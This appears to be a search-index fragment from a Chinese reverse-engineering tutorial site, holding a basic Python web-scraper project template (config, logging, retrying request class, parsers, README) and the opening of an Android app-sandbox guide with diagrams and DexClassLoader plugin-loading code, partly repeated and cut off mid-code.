","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:0:0","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#基础爬虫项目模板"},{"categories":null,"collections":null,"content":"项目结构 basic_scraper/ ├── config/ │ ├── __init__.py │ ├── settings.py # 配置参数 │ └── logging.conf # 日志配置 ├── scrapers/ │ ├── __init__.py │ ├── base_scraper.py # 基础爬虫类 │ └── target_scraper.py # 目标网站爬虫 ├── utils/ │ ├── __init__.py │ ├── crypto.py # 加密解密工具 │ ├── headers.py # 请求头生成 │ └── parser.py # 数据解析 ├── data/ │ ├── raw/ # 原始数据 │ └── processed/ # 处理后数据 ├── logs/ # 日志目录 ├── tests/ │ ├── __init__.py │ └── test_scraper.py # 测试用例 ├── .env.example # 环境变量示例 ├── .gitignore ├── requirements.txt ├── README.md └── main.py # 入口文件 ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:1:0","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#项目结构"},{"categories":null,"collections":null,"content":"文件内容 ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:0","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#文件内容"},{"categories":null,"collections":null,"content":"1. requirements.txt requests\u003e=2.31.0 beautifulsoup4\u003e=4.12.0 lxml\u003e=4.9.0 python-dotenv\u003e=1.0.0 pycryptodome\u003e=3.19.0 pymongo\u003e=4.6.0 redis\u003e=5.0.0 loguru\u003e=0.7.0 ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:1","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#1-requirementstxt"},{"categories":null,"collections":null,"content":"2. config/settings.py \"\"\" 项目配置文件 \"\"\" import os from dotenv import load_dotenv from pathlib import Path # 加载环境变量 load_dotenv() # 项目根目录 BASE_DIR = Path(__file__).resolve().parent.parent # 目标网站配置 TARGET_URL = \"https://example.com\" API_BASE_URL = \"https://api.example.com\" # 请求配置 REQUEST_TIMEOUT = 30 MAX_RETRIES = 3 RETRY_DELAY = 2 # 秒 # 请求头配置 DEFAULT_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', } # 代理配置 USE_PROXY = os.getenv('USE_PROXY', 'false').lower() == 'true' PROXY_URL = os.getenv('PROXY_URL', '') PROXIES = { 'http': PROXY_URL, 'https': PROXY_URL, } if USE_PROXY and PROXY_URL else None # 数据库配置 MONGODB_URI = os.getenv('MONGODB_URI', 'mongodb://localhost:27017/') MONGODB_DB = os.getenv('MONGODB_DB', 'scraper_db') MONGODB_COLLECTION = os.getenv('MONGODB_COLLECTION', 'data') # Redis 配置 REDIS_HOST = os.getenv('REDIS_HOST', 'localhost') REDIS_PORT = int(os.getenv('REDIS_PORT', 6379)) REDIS_DB = int(os.getenv('REDIS_DB', 0)) REDIS_PASSWORD = os.getenv('REDIS_PASSWORD', '') # 数据存储配置 DATA_DIR = BASE_DIR / 'data' RAW_DATA_DIR = DATA_DIR / 'raw' PROCESSED_DATA_DIR = DATA_DIR / 'processed' # 日志配置 LOG_DIR = BASE_DIR / 'logs' LOG_LEVEL = os.getenv('LOG_LEVEL', 'INFO') # 创建必要的目录 for directory in [DATA_DIR, RAW_DATA_DIR, PROCESSED_DATA_DIR, LOG_DIR]: directory.mkdir(parents=True, exist_ok=True) # 业务配置 BATCH_SIZE = 100 # 批处理大小 SLEEP_INTERVAL = (1, 3) # 请求间隔（秒）范围 ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:2","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#2-configsettingspy"},{"categories":null,"collections":null,"content":"3. config/logging.conf \"\"\" 日志配置 \"\"\" from loguru import logger import sys from pathlib import Path # 日志目录 LOG_DIR = Path(__file__).resolve().parent.parent / 'logs' LOG_DIR.mkdir(exist_ok=True) # 移除默认处理器 logger.remove() # 添加控制台输出 logger.add( sys.stdout, colorize=True, format=\"\u003cgreen\u003e{time:YYYY-MM-DD HH:mm:ss}\u003c/green\u003e | \u003clevel\u003e{level: \u003c8}\u003c/level\u003e | \u003ccyan\u003e{name}\u003c/cyan\u003e:\u003ccyan\u003e{function}\u003c/cyan\u003e:\u003ccyan\u003e{line}\u003c/cyan\u003e - \u003clevel\u003e{message}\u003c/level\u003e\", level=\"INFO\" ) # 添加文件输出 - INFO 级别 logger.add( LOG_DIR / \"info_{time:YYYY-MM-DD}.log\", rotation=\"00:00\", # 每天午夜轮转 retention=\"30 days\", # 保留30天 encoding=\"utf-8\", format=\"{time:YYYY-MM-DD HH:mm:ss} | {level: \u003c8} | {name}:{function}:{line} - {message}\", level=\"INFO\" ) # 添加文件输出 - ERROR 级别 logger.add( LOG_DIR / \"error_{time:YYYY-MM-DD}.log\", rotation=\"00:00\", retention=\"90 days\", # 错误日志保留90天 encoding=\"utf-8\", format=\"{time:YYYY-MM-DD HH:mm:ss} | {level: \u003c8} | {name}:{function}:{line} - {message}\", level=\"ERROR\" ) ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:3","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#3-configloggingconf"},{"categories":null,"collections":null,"content":"4. scrapers/base_scraper.py \"\"\" 基础爬虫类 \"\"\" import time import random import requests from typing import Dict, Any, Optional from config.settings import * from config.logging import logger class BaseScraper: \"\"\"基础爬虫类\"\"\" def __init__(self): self.session = requests.Session() self.session.headers.update(DEFAULT_HEADERS) def request( self, method: str, url: str, **kwargs ) -\u003e Optional[requests.Response]: \"\"\" 发送 HTTP 请求（带重试） Args: method: HTTP 方法 (GET, POST, etc.) url: 请求 URL **kwargs: 其他请求参数 Returns: Response 对象或 None \"\"\" for attempt in range(MAX_RETRIES): try: # 合并代理配置 if PROXIES: kwargs.setdefault('proxies', PROXIES) # 设置超时 kwargs.setdefault('timeout', REQUEST_TIMEOUT) # 发送请求 response = self.session.request(method, url, **kwargs) response.raise_for_status() logger.info(f\"请求成功: {method} {url} - {response.status_code}\") return response except requests.exceptions.RequestException as e: logger.warning(f\"请求失败 (尝试 {attempt + 1}/{MAX_RETRIES}): {e}\") if attempt \u003c MAX_RETRIES - 1: time.sleep(RETRY_DELAY * (attempt + 1)) else: logger.error(f\"请求最终失败: {method} {url}\") return None def get(self, url: str, **kwargs) -\u003e Optional[requests.Response]: \"\"\"GET 请求\"\"\" return self.request('GET', url, **kwargs) def post(self, url: str, **kwargs) -\u003e Optional[requests.Response]: \"\"\"POST 请求\"\"\" return self.request('POST', url, **kwargs) def sleep(self): \"\"\"随机休眠\"\"\" sleep_time = random.uniform(*SLEEP_INTERVAL) logger.debug(f\"休眠 {sleep_time:.2f} 秒\") time.sleep(sleep_time) def save_json(self, data: Dict[Any, Any], filename: str): \"\"\"保存 JSON 数据\"\"\" import json filepath = PROCESSED_DATA_DIR / filename with open(filepath, 'w', encoding='utf-8') as f: json.dump(data, f, ensure_ascii=False, indent=2) logger.info(f\"数据已保存: {filepath}\") def save_csv(self, data: list, filename: str): \"\"\"保存 CSV 数据\"\"\" import csv if not data: logger.warning(\"没有数据可保存\") return filepath = PROCESSED_DATA_DIR / filename with open(filepath, 'w', encoding='utf-8', newline='') as f: writer = csv.DictWriter(f, fieldnames=data[0].keys()) writer.writeheader() writer.writerows(data) logger.info(f\"数据已保存: {filepath} ({len(data)} 条)\") ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:4","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#4-scrapersbase_scraperpy"},{"categories":null,"collections":null,"content":"5. scrapers/target_scraper.py \"\"\" 目标网站爬虫 \"\"\" from bs4 import BeautifulSoup from .base_scraper import BaseScraper from config.settings import TARGET_URL from config.logging import logger class TargetScraper(BaseScraper): \"\"\"目标网站爬虫\"\"\" def __init__(self): super().__init__() self.base_url = TARGET_URL def scrape_list(self, page: int = 1): \"\"\" 抓取列表页 Args: page: 页码 Returns: 列表数据 \"\"\" url = f\"{self.base_url}/list?page={page}\" response = self.get(url) if not response: return [] soup = BeautifulSoup(response.text, 'lxml') items = [] # TODO: 实现具体的解析逻辑 for item in soup.select('.item'): data = { 'title': item.select_one('.title').text.strip(), 'link': item.select_one('a')['href'], # 添加更多字段... } items.append(data) logger.info(f\"页面 {page} 抓取到 {len(items)} 条数据\") return items def scrape_detail(self, url: str): \"\"\" 抓取详情页 Args: url: 详情页 URL Returns: 详情数据 \"\"\" response = self.get(url) if not response: return None soup = BeautifulSoup(response.text, 'lxml') # TODO: 实现具体的解析逻辑 data = { 'url': url, 'title': soup.select_one('h1').text.strip(), 'content': soup.select_one('.content').text.strip(), # 添加更多字段... } logger.info(f\"详情页抓取成功: {url}\") return data def run(self, start_page: int = 1, end_page: int = 10): \"\"\" 运行爬虫 Args: start_page: 起始页 end_page: 结束页 \"\"\" logger.info(f\"开始抓取: 页面 {start_page} 到 {end_page}\") all_items = [] for page in range(start_page, end_page + 1): # 抓取列表 items = self.scrape_list(page) all_items.extend(items) # 休眠 self.sleep() # 保存数据 self.save_json(all_items, 'list_data.json') self.save_csv(all_items, 'list_data.csv') logger.info(f\"抓取完成: 共 {len(all_items)} 条数据\") ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:5","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#5-scraperstarget_scraperpy"},{"categories":null,"collections":null,"content":"6. main.py \"\"\" 主程序入口 \"\"\" from scrapers.target_scraper import TargetScraper from config.logging import logger def main(): \"\"\"主函数\"\"\" logger.info(\"=\" * 50) logger.info(\"爬虫程序启动\") logger.info(\"=\" * 50) try: # 创建爬虫实例 scraper = TargetScraper() # 运行爬虫 scraper.run(start_page=1, end_page=5) logger.info(\"=\" * 50) logger.info(\"爬虫程序结束\") logger.info(\"=\" * 50) except KeyboardInterrupt: logger.warning(\"用户中断程序\") except Exception as e: logger.exception(f\"程序异常: {e}\") if __name__ == '__main__': main() ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:6","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#6-mainpy"},{"categories":null,"collections":null,"content":"7. .env.example # 代理配置 USE_PROXY=false PROXY_URL=http://127.0.0.1:7890 # 数据库配置 MONGODB_URI=mongodb://localhost:27017/ MONGODB_DB=scraper_db MONGODB_COLLECTION=data # Redis 配置 REDIS_HOST=localhost REDIS_PORT=6379 REDIS_DB=0 REDIS_PASSWORD= # 日志级别 LOG_LEVEL=INFO ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:7","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#7-envexample"},{"categories":null,"collections":null,"content":"8. .gitignore # Python __pycache__/ *.py[cod] *$py.class *.so .Python env/ venv/ ENV/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ *.egg-info/ .installed.cfg *.egg # 环境变量 .env .env.local # 数据和日志 data/ logs/ *.log # IDE .vscode/ .idea/ *.swp *.swo .DS_Store # 测试 .pytest_cache/ .coverage htmlcov/ ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:8","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#8-gitignore"},{"categories":null,"collections":null,"content":"9. README.md # 基础爬虫项目 ## 功能特性 - ✅ 完整的项目结构 - ✅ 配置文件管理 - ✅ 日志系统 (Loguru) - ✅ 错误重试机制 - ✅ 代理支持 - ✅ 数据存储 (JSON/CSV) - ✅ 环境变量配置 ## 快速开始 ### 1. 安装依赖 \\`\\`\\`bash pip install -r requirements.txt \\`\\`\\` ### 2. 配置环境 \\`\\`\\`bash cp .env.example .env # 编辑 .env 文件 \\`\\`\\` ### 3. 运行爬虫 \\`\\`\\`bash python main.py \\`\\`\\` ## 项目结构 \\`\\`\\` . ├── config/ # 配置文件 ├── scrapers/ # 爬虫模块 ├── utils/ # 工具函数 ├── data/ # 数据存储 ├── logs/ # 日志文件 └── main.py # 入口文件 \\`\\`\\` ## 使用说明 ### 自定义爬虫 1. 编辑 `scrapers/target_scraper.py` 2. 实现 `scrape_list()` 和 `scrape_detail()` 方法 3. 修改 `config/settings.py` 中的 `TARGET_URL` ### 数据存储 数据默认保存在 `data/processed/` 目录： - JSON 格式: `list_data.json` - CSV 格式: `list_data.csv` ### 日志查看 日志保存在 `logs/` 目录： - INFO 日志: `info_YYYY-MM-DD.log` - ERROR 日志: `error_YYYY-MM-DD.log` ## License MIT \\`\\`\\` --- ## 使用此模板 ```bash # 1. 复制模板 cp -r templates/basic_scraper my_project cd my_project # 2. 创建虚拟环境 python -m venv venv source venv/bin/activate # Linux/Mac # or venv\\Scripts\\activate # Windows # 3. 安装依赖 pip install -r requirements.txt # 4. 配置环境 cp .env.example .env vim .env # 5. 运行 python main.py ``` ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:2:9","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#9-readmemd"},{"categories":null,"collections":null,"content":"相关模板 逆向分析项目 Docker 部署 分布式爬虫 ","date":"2025-04-28","objectID":"/reverse_engineering/web/09-templates/basic_scraper/:3:0","tags":["Web","项目","Docker","代理池","加密分析","模板"],"title":"基础爬虫项目模板","uri":"/reverse_engineering/web/09-templates/basic_scraper/#相关模板"},{"categories":null,"collections":null,"content":"Android 沙箱技术与实现指南 Android 沙箱技术，通常也被称为\"虚拟化引擎\"或\"App 多开框架\"，是一种在单个 Android 设备上创建隔离环境以运行其他应用程序的技术。它允许一个\"宿主\"应用程序在自己的进程空间内加载并运行一个\"插件\"应用程序，同时对插件应用的所有系统交互进行拦截和管理。 核心应用场景：应用多开、无感知隐私保护、自动化测试、免安装运行 App、安全分析。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:0:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#android-沙箱技术与实现指南"},{"categories":null,"collections":null,"content":"1. 核心概念：沙箱 vs. 虚拟机 ┌─────────────────────────────────────────────────────────────────────────┐ │ 传统虚拟机 (VM) │ ├─────────────────────────────────────────────────────────────────────────┤ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Guest App 1 │ │ Guest App 2 │ │ Guest App 3 │ │ │ ├─────────────────┤ ├─────────────────┤ ├─────────────────┤ │ │ │ Guest Android │ │ Guest Android │ │ Guest Android │ │ │ │ Kernel │ │ Kernel │ │ Kernel │ │ │ └────────┬────────┘ └────────┬────────┘ └────────┬────────┘ │ │ │ │ │ │ │ └────────────────────┼────────────────────┘ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ Hypervisor (QEMU) │ │ │ └───────────┬───────────┘ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ Host Kernel │ │ │ └───────────────────────┘ │ └─────────────────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────────────────┐ │ Android 沙箱 (进程内虚拟化) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ 宿主 App 进程 │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ Plugin App1 │ │ Plugin App2 │ │ Plugin App3 │ │ │ │ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ │ │ │ │ └────────────────┼────────────────┘ │ │ │ │ │ │ │ │ │ ┌───────────┴───────────┐ │ │ │ │ │ 沙箱框架 (Hook层) │ ◄── API 拦截与重定向 │ │ │ │ │ - Binder Proxy │ │ │ │ │ │ - ClassLoader │ │ │ │ │ │ - Resources │ │ │ │ │ └───────────┬───────────┘ │ │ │ │ │ │ │ │ └──────────────────────────┼────────────────────────────────────────┘ │ │ │ │ │ ┌──────────────┴──────────────┐ │ │ │ Android Framework │ │ │ │ (AMS, PMS, WMS...) │ │ │ └──────────────┬──────────────┘ │ │ │ │ │ ┌──────────────┴──────────────┐ │ │ │ Linux Kernel │ │ │ └─────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────────────┘ 特性 虚拟机 (VM) Android 沙箱 隔离级别 内核级隔离 进程内隔离 资源开销 非常高 (GB级内存) 低 (共享系统资源) 启动速度 慢 (分钟级) 快 (秒级) 兼容性 完美 需要适配 实现复杂度 依赖成熟虚拟化技术 需要大量 Hook ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:1:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#1-核心概念沙箱-vs-虚拟机"},{"categories":null,"collections":null,"content":"2. 沙箱实现原理详解 实现一个 Android 沙箱需要解决四大核心问题： ┌─────────────────────────────────────────────────────────────────┐ │ 沙箱框架核心组件 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ ClassLoader │ │ Stub组件 │ │ Resources │ │ │ │ Manager │ │ Manager │ │ Manager │ │ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ └──────────────────┼──────────────────┘ │ │ │ │ │ ┌────────┴────────┐ │ │ │ Hook Manager │ │ │ │ (Binder Proxy) │ │ │ └────────┬────────┘ │ │ │ │ │ ┌──────────────────┼──────────────────┐ │ │ │ │ │ │ │ ┌──────┴──────┐ ┌──────┴──────┐ ┌──────┴──────┐ │ │ │ AMS │ │ PMS │ │ Other │ │ │ │ Hook │ │ Hook │ │ Hooks │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#2-沙箱实现原理详解"},{"categories":null,"collections":null,"content":"2.1 类加载 (Class Loading) 由于插件 App 并未被系统\"安装\"，其代码不能通过常规的 PathClassLoader 加载。 原理图 ┌─────────────────────────────────────────────────────────────┐ │ 类加载流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK │ │ (/data/data/host/files/plugin.apk) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ DexClassLoader │ ◄── 指定 APK 路径和 ODEX 输出目录 │ │ │ │ │ │ │ - dexPath │ = plugin.apk 路径 │ │ │ - optDir │ = 宿主私有目录 (存放优化后的 dex) │ │ │ - libPath │ = so 库路径 │ │ │ - parent │ = 宿主 ClassLoader │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ loadClass() │ │ │ │ │ │ │ │ \"com.plugin │ ──► Plugin Activity 实例 │ │ │ .MainActivity\"│ │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginClassLoaderManager.java * 插件类加载器管理 */ public class PluginClassLoaderManager { private static final String TAG = \"PluginClassLoader\"; // 缓存已加载插件的 ClassLoader private final Map\u003cString, DexClassLoader\u003e classLoaderCache = new HashMap\u003c\u003e(); private final Context hostContext; public PluginClassLoaderManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 DexClassLoader * * @param pluginApkPath 插件 APK 的完整路径 * @param pluginId 插件唯一标识 * @return DexClassLoader 实例 */ public DexClassLoader createClassLoader(String pluginApkPath, String pluginId) { // 检查缓存 if (classLoaderCache.containsKey(pluginId)) { Log.d(TAG, \"Using cached ClassLoader for: \" + pluginId); return classLoaderCache.get(pluginId); } // 创建优化后的 DEX 输出目录 // 注意: Android 8.0+ 推荐使用 null，系统会自动选择目录 File optDir = hostContext.getDir(\"plugin_dex_\" + pluginId, Context.MODE_PRIVATE); // 获取插件的 native library 路径 String libPath = extractNativeLibs(pluginApkPath, pluginId); // 创建 DexClassLoader // 关键参数: // - dexPath: 插件 APK 路径 // - optimizedDirectory: DEX 优化输出目录 (Android 8.0+ 可为 null) // - librarySearchPath: Native 库搜索路径 // - parent: 父 ClassLoader (使用宿主的 ClassLoader) DexClassLoader classLoader = new DexClassLoader( pluginApkPath, optDir.getAbsolutePath(), libPath, hostContext.getClassLoader() // 重要: 设置父加载器 ); // 缓存 classLoaderCache.put(pluginId, classLoader); Log.d(TAG, \"Created ClassLoader for plugin: \" + pluginId); Log.d(TAG, \" APK Path: \" + pluginApkPath); Log.d(TAG, \" Opt Dir: \" + optDir.getAbsolutePath()); Log.d(TAG, \" Lib Path: \" + libPath); return classLoader; } /** * 从插件 APK 中提取 native 库 */ private String extractNativeLibs(String apkPath, String pluginId) { File libDir = hostContext.getDir(\"plugin_lib_\" + pluginId, Context.MODE_PRIVATE); try { // 获取设备 ABI String abi = Build.SUPPORTED_ABIS[0]; // 如 \"arm64-v8a\" ZipFile zipFile = new ZipFile(apkPath); Enumeration\u003c? extends ZipEntry\u003e entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); String name = entry.getName(); // 查找匹配的 native 库 if (name.startsWith(\"lib/\" + abi + \"/\") \u0026\u0026 name.endsWith(\".so\")) { String soName = name.substring(name.lastIndexOf('/') + 1); File outFile = new File(libDir, soName); // 解压 so 文件 try (InputStream in = zipFile.getInputStream(entry); FileOutputStream out = new FileOutputStream(outFile)) { byte[] buffer = new byte[8192]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } } Log.d(TAG, \"Extracted native lib: \" + soName); } } zipFile.close(); } catch (IOException e) { Log.e(TAG, \"Failed to extract native libs\", e); } return libDir.getAbsolutePath(); } /** * 加载插件中的类 */ public Class\u003c?\u003e loadPluginClass(String pluginId, String className) throws ClassNotFoundException { DexClassLoader classLoader = classLoaderCache.get(pluginId); if (classLoader == null) { throw new IllegalStateException(\"Plugin not loaded: \" + pluginId); } return classLoader.loadClass(className); } /** * 通过反射创建插件对象实例 */ @SuppressWarnings(\"unchecked\") public \u003cT\u003e T createPluginInstance(String pluginId, String className, Class\u003cT\u003e expectedType) throws Exception { Class\u003c?\u003e clazz = loadPluginClass(pluginId, className); if (!expectedType.isAssignableFrom(clazz)) { throw new ClassCastException(className + \" is not a","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#21-类加载-class-loading"},{"categories":null,"collections":null,"content":"2.1 类加载 (Class Loading) 由于插件 App 并未被系统\"安装\"，其代码不能通过常规的 PathClassLoader 加载。 原理图 ┌─────────────────────────────────────────────────────────────┐ │ 类加载流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK │ │ (/data/data/host/files/plugin.apk) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ DexClassLoader │ ◄── 指定 APK 路径和 ODEX 输出目录 │ │ │ │ │ │ │ - dexPath │ = plugin.apk 路径 │ │ │ - optDir │ = 宿主私有目录 (存放优化后的 dex) │ │ │ - libPath │ = so 库路径 │ │ │ - parent │ = 宿主 ClassLoader │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ loadClass() │ │ │ │ │ │ │ │ \"com.plugin │ ──► Plugin Activity 实例 │ │ │ .MainActivity\"│ │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginClassLoaderManager.java * 插件类加载器管理 */ public class PluginClassLoaderManager { private static final String TAG = \"PluginClassLoader\"; // 缓存已加载插件的 ClassLoader private final Map classLoaderCache = new HashMap\u003c\u003e(); private final Context hostContext; public PluginClassLoaderManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 DexClassLoader * * @param pluginApkPath 插件 APK 的完整路径 * @param pluginId 插件唯一标识 * @return DexClassLoader 实例 */ public DexClassLoader createClassLoader(String pluginApkPath, String pluginId) { // 检查缓存 if (classLoaderCache.containsKey(pluginId)) { Log.d(TAG, \"Using cached ClassLoader for: \" + pluginId); return classLoaderCache.get(pluginId); } // 创建优化后的 DEX 输出目录 // 注意: Android 8.0+ 推荐使用 null，系统会自动选择目录 File optDir = hostContext.getDir(\"plugin_dex_\" + pluginId, Context.MODE_PRIVATE); // 获取插件的 native library 路径 String libPath = extractNativeLibs(pluginApkPath, pluginId); // 创建 DexClassLoader // 关键参数: // - dexPath: 插件 APK 路径 // - optimizedDirectory: DEX 优化输出目录 (Android 8.0+ 可为 null) // - librarySearchPath: Native 库搜索路径 // - parent: 父 ClassLoader (使用宿主的 ClassLoader) DexClassLoader classLoader = new DexClassLoader( pluginApkPath, optDir.getAbsolutePath(), libPath, hostContext.getClassLoader() // 重要: 设置父加载器 ); // 缓存 classLoaderCache.put(pluginId, classLoader); Log.d(TAG, \"Created ClassLoader for plugin: \" + pluginId); Log.d(TAG, \" APK Path: \" + pluginApkPath); Log.d(TAG, \" Opt Dir: \" + optDir.getAbsolutePath()); Log.d(TAG, \" Lib Path: \" + libPath); return classLoader; } /** * 从插件 APK 中提取 native 库 */ private String extractNativeLibs(String apkPath, String pluginId) { File libDir = hostContext.getDir(\"plugin_lib_\" + pluginId, Context.MODE_PRIVATE); try { // 获取设备 ABI String abi = Build.SUPPORTED_ABIS[0]; // 如 \"arm64-v8a\" ZipFile zipFile = new ZipFile(apkPath); Enumeration\u003c? extends ZipEntry\u003e entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); String name = entry.getName(); // 查找匹配的 native 库 if (name.startsWith(\"lib/\" + abi + \"/\") \u0026\u0026 name.endsWith(\".so\")) { String soName = name.substring(name.lastIndexOf('/') + 1); File outFile = new File(libDir, soName); // 解压 so 文件 try (InputStream in = zipFile.getInputStream(entry); FileOutputStream out = new FileOutputStream(outFile)) { byte[] buffer = new byte[8192]; int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } } Log.d(TAG, \"Extracted native lib: \" + soName); } } zipFile.close(); } catch (IOException e) { Log.e(TAG, \"Failed to extract native libs\", e); } return libDir.getAbsolutePath(); } /** * 加载插件中的类 */ public Class\u003c?\u003e loadPluginClass(String pluginId, String className) throws ClassNotFoundException { DexClassLoader classLoader = classLoaderCache.get(pluginId); if (classLoader == null) { throw new IllegalStateException(\"Plugin not loaded: \" + pluginId); } return classLoader.loadClass(className); } /** * 通过反射创建插件对象实例 */ @SuppressWarnings(\"unchecked\") public T createPluginInstance(String pluginId, String className, Class expectedType) throws Exception { Class\u003c?\u003e clazz = loadPluginClass(pluginId, className); if (!expectedType.isAssignableFrom(clazz)) { throw new ClassCastException(className + \" is not a","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:2:1","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#原理图"},{"categories":null,"collections":null,"content":"2.1 类加载 (Class Loading) 由于插件 App 并未被系统\"安装\"，其代码不能通过常规的 PathClassLoader 加载。 原理图 ┌─────────────────────────────────────────────────────────────┐ │ 类加载流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Plugin APK │ │ (/data/data/host/files/plugin.apk) │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ DexClassLoader │ ◄── 指定 APK 路径和 ODEX 输出目录 │ │ │ │ │ │ │ - dexPath │ = plugin.apk 路径 │ │ │ - optDir │ = 宿主私有目录 (存放优化后的 dex) │ │ │ - libPath │ = so 库路径 │ │ │ - parent │ = 宿主 ClassLoader │ │ └────────┬────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ loadClass() │ │ │ │ │ │ │ │ \"com.plugin │ ──► Plugin Activity 实例 │ │ │ .MainActivity\"│ │ │ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ 代码实现 /** * PluginClassLoaderManager.java * 插件类加载器管理 */ public class PluginClassLoaderManager { private static final String TAG = \"PluginClassLoader\"; // 缓存已加载插件的 ClassLoader private final Map classLoaderCache = new HashMap\u003c\u003e(); private final Context hostContext; public PluginClassLoaderManager(Context hostContext) { this.hostContext = hostContext; } /** * 为插件创建 DexClassLoader * * @param 